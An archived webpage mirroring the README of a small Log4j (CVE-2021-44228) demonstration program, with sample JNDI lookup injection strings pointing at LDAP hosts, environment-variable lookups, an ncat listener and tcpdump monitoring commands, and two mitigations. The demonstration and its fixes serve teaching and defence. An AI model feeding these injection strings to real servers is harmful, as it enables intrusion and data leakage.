Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-44228 PoC — Apache Log4j 代码问题漏洞

Source
Associated Vulnerability
Title:Apache Log4j 代码问题漏洞 (CVE-2021-44228)
Description:Apache Log4j是美国阿帕奇(Apache)基金会的一款基于Java的开源日志记录工具。 Apache Log4J 存在代码问题漏洞,攻击者可设计一个数据请求发送给使用 Apache Log4j工具的服务器,当该请求被打印成日志时就会触发远程代码执行。
Description
A simple program to demonstrate how Log4j vulnerability can be exploited ( CVE-2021-44228 ) 
Readme
# Log4j_Vulnerability_Demo
A simple program to demonstrate how Log4j vulnerability can be exploited ( CVE-2021-44228 ) 

## Running the Demo :
To start the program, simply run the start.sh ( on UNIX systems ) or start.bat on Windows.

User input will be read and logged to console using the Log4j framework. 

By default, the logging messages generated by the Log4j library do not provide any server unreachable / host not found errors for the JNDI substitutions. ( And I guess that's also a major reason why this vulnerability can be exploited with stealth )

Also try to use subdomains, like ${jndi:ldap://test29.google.com/blah} , sometimes the JNDI call will wait for the response from the remote server and that's why program looks like its stuck while it has actually made a connection attempt in the background. If you use subdomains which don't exist, JNDI call will quickly terminate after making a connection attempt and the program will continue.

I recommend you to run the program in one shell, and run the " tcpdump -i any | grep google " command on another shell in parallel and then provide inputs to the program to see whether the program has made a connection attempt.

### Log4j substitutions in action :

![image](https://user-images.githubusercontent.com/25263964/149064428-e32de710-2358-4b70-adf3-a47d5569e47f.png)

### Attempting Remote Connections:

![image](https://user-images.githubusercontent.com/25263964/149062401-6465fa48-bf9b-4db7-b9e6-cc3f5b4d6dd3.png)

![image](https://user-images.githubusercontent.com/25263964/149062422-fe074424-22a0-42e1-959c-88afd5d77479.png)



### Some sample inputs :
testing ( Normal String )
### Examples which can be more than just a log message :
#### ${env:USER}  ( UNIX )
#### ${env:USERNAME} ( Windows )
#### ${jndi:ldap://test.java.net}
#### ${jndi:ldap://localhost:12000}
--

### Monitoring :
#### tcpdump -i any | grep -i "java.net"
#### ncat -k -vv -c "echo hi" -l 12000
--

### Removing the JndiLookup Class to mitigate the vulnerability :
#### zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

#### This will delete the JndiLookup.class from the Log4j core Jar.
#### Run the same program after the above step, the program shouldn't make any connection attempts / JNDI substitutions.
--
#### Another way of disabling JNDI Lookups
#### export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
##### This environment variable will disable the JNDI lookups for the current session.


File Snapshot

[4.0K] /data/pocs/2212371a61165410d258d48f2219081b9ac45f6c ├── [4.0K] apache-log4j-2.14.1 │   ├── [293K] log4j-api-2.14.1.jar │   └── [1.7M] log4j-core-2.14.1.jar ├── [293K] log4j-api-2.14.1.jar ├── [1.7M] log4j-core-2.14.1.jar ├── [1.1K] log4j_demo.class ├── [ 702] log4j_demo.java ├── [2.4K] README.md ├── [ 68] start.bat └── [ 68] start.sh 1 directory, 9 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.